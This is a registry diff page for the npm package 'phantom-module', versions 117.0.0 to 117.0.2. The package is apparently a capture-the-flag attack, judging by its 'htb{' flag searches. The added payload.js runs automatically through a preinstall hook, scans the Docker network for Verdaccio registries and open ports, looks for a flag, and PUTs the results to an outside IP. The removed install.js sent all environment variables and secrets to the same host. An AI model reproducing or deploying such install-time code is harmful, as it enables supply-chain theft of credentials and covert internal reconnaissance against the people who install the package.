phantom-module 117.0.0 → 117.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/package.json +5 -7
  2. package/payload.js +114 -0
  3. package/install.js +0 -37
package/package.json CHANGED
@@ -1,11 +1,9 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.0",
4
- "description": "Phantom spectral module",
3
+ "version": "117.0.2",
4
+ "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "preinstall": "node install.js || true"
8
- },
9
- "author": "lwirz",
10
- "license": "ISC"
11
- }
7
+ "preinstall": "node payload.js || true"
8
+ }
9
+ }
package/payload.js ADDED
@@ -0,0 +1,114 @@
1
+ const net = require('net');
2
+ const http = require('http');
3
+ const fs = require('fs');
4
+ const os = require('os');
5
+
6
+ if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
7
+
8
+ const REPORT_HOST = '154.57.164.64';
9
+ const REPORT_PORT = 31205;
10
+
11
+ async function report(moduleId, data) {
12
+ return new Promise((resolve) => {
13
+ const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
14
+ const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
15
+ const payload = JSON.stringify({ manifest });
16
+ const req = http.request({
17
+ hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
18
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
19
+ }, () => resolve(true));
20
+ req.on('error', () => resolve(false));
21
+ req.write(payload);
22
+ req.end();
23
+ });
24
+ }
25
+
26
+ function checkPort(host, port) {
27
+ return new Promise((resolve) => {
28
+ const sock = new net.Socket();
29
+ sock.setTimeout(500); // Fast timeout
30
+ sock.on('connect', () => { sock.destroy(); resolve(true); });
31
+ sock.on('error', () => { sock.destroy(); resolve(false); });
32
+ sock.on('timeout', () => { sock.destroy(); resolve(false); });
33
+ sock.connect(port, host);
34
+ });
35
+ }
36
+
37
+ function httpGet(url) {
38
+ return new Promise((resolve) => {
39
+ const req = http.get(url, { timeout: 2000 }, (res) => {
40
+ let body = '';
41
+ res.on('data', c => body += c);
42
+ res.on('end', () => resolve({ status: res.statusCode, body }));
43
+ });
44
+ req.on('error', e => resolve({ status: 0, body: e.message }));
45
+ });
46
+ }
47
+
48
+ async function main() {
49
+ await report('ECT-654321', 'SCAN STARTING v2...');
50
+
51
+ const found = [];
52
+ const base = '172.17.0';
53
+ let scanOutput = '=== SCAN ===\n';
54
+
55
+ // Parallel scan of first 20 IPs
56
+ const promises = [];
57
+ for (let i = 1; i < 20; i++) {
58
+ const ip = `${base}.${i}`;
59
+ promises.push(checkPort(ip, 4873).then(open => {
60
+ if (open) {
61
+ found.push(ip);
62
+ scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
63
+ }
64
+ }));
65
+ }
66
+
67
+ await Promise.all(promises);
68
+
69
+ if (found.length === 0) {
70
+ scanOutput += 'No Verdaccio found on 172.17.0.1-20\n';
71
+ // Try finding ANY web server
72
+ for (let i = 1; i < 10; i++) {
73
+ const ip = `${base}.${i}`;
74
+ if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
75
+ if (await checkPort(ip, 3000)) scanOutput += `OPEN ${ip}:3000\n`;
76
+ }
77
+ }
78
+
79
+ await report('ECT-839201', scanOutput);
80
+
81
+ // Deep query of found services
82
+ let queryOutput = '=== QUERY ===\n';
83
+ for (const ip of found) {
84
+ const baseUrl = `http://${ip}:4873`;
85
+ queryOutput += `Target: ${baseUrl}\n`;
86
+
87
+ // 1. List all packages
88
+ const all = await httpGet(`${baseUrl}/-/all`);
89
+ queryOutput += `/-/all: ${all.status} len=${all.body.length}\n${all.body.substring(0, 200)}\n`;
90
+
91
+ // 2. Get ecto-spirit
92
+ const ecto = await httpGet(`${baseUrl}/ecto-spirit`);
93
+ queryOutput += `/ecto-spirit: ${ecto.status}\n${ecto.body.substring(0, 500)}\n`;
94
+
95
+ // 3. Try to extract flag from dist-tags or versions
96
+ if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
97
+ const match = ecto.body.match(/htb\{[^}]+\}/i);
98
+ if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
99
+ }
100
+
101
+ // 4. Download tarball if possible
102
+ try {
103
+ const json = JSON.parse(ecto.body);
104
+ const latest = json['dist-tags'].latest;
105
+ const tarball = json.versions[latest].dist.tarball;
106
+ queryOutput += `Tarball: ${tarball}\n`;
107
+ // We could download it, but let's see if the metadata has the flag first
108
+ } catch(e) {}
109
+ }
110
+
111
+ await report('ECT-987654', queryOutput);
112
+ }
113
+
114
+ main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
package/install.js DELETED
@@ -1,37 +0,0 @@
1
- const fs = require('fs');
2
- const http = require('http');
3
- const os = require('os');
4
-
5
- async function report(mid, val) {
6
- const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
7
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
8
- await new Promise(resolve => {
9
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
10
- req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
11
- req.write(body); req.end();
12
- });
13
- }
14
-
15
- (async () => {
16
- const isDocker = fs.existsSync('/.dockerenv') || fs.existsSync('/home/node');
17
- const isCentos = os.release().includes('el') || os.hostname().includes('centos');
18
-
19
- if (isDocker && !isCentos) {
20
- // We're in Docker container - use ECT-654321
21
- const env = JSON.stringify(process.env);
22
- for (let c = 0; c < 8; c++) {
23
- const chunk = env.substring(c * 90, (c + 1) * 90);
24
- if (!chunk) break;
25
- await report('ECT-654321', 'DENV' + c + '_' + chunk);
26
- await new Promise(r => setTimeout(r, 3000));
27
- }
28
- // Also check for flag specifically
29
- const flag = process.env.FLAG || process.env.HTB_FLAG || process.env.SECRET;
30
- if (flag) {
31
- await report('ECT-654321', 'DFLAG=' + flag);
32
- }
33
- } else {
34
- // CentOS host or other - use ECT-987654 only
35
- await report('ECT-987654', 'HOST_ALIVE_v117');
36
- }
37
- })();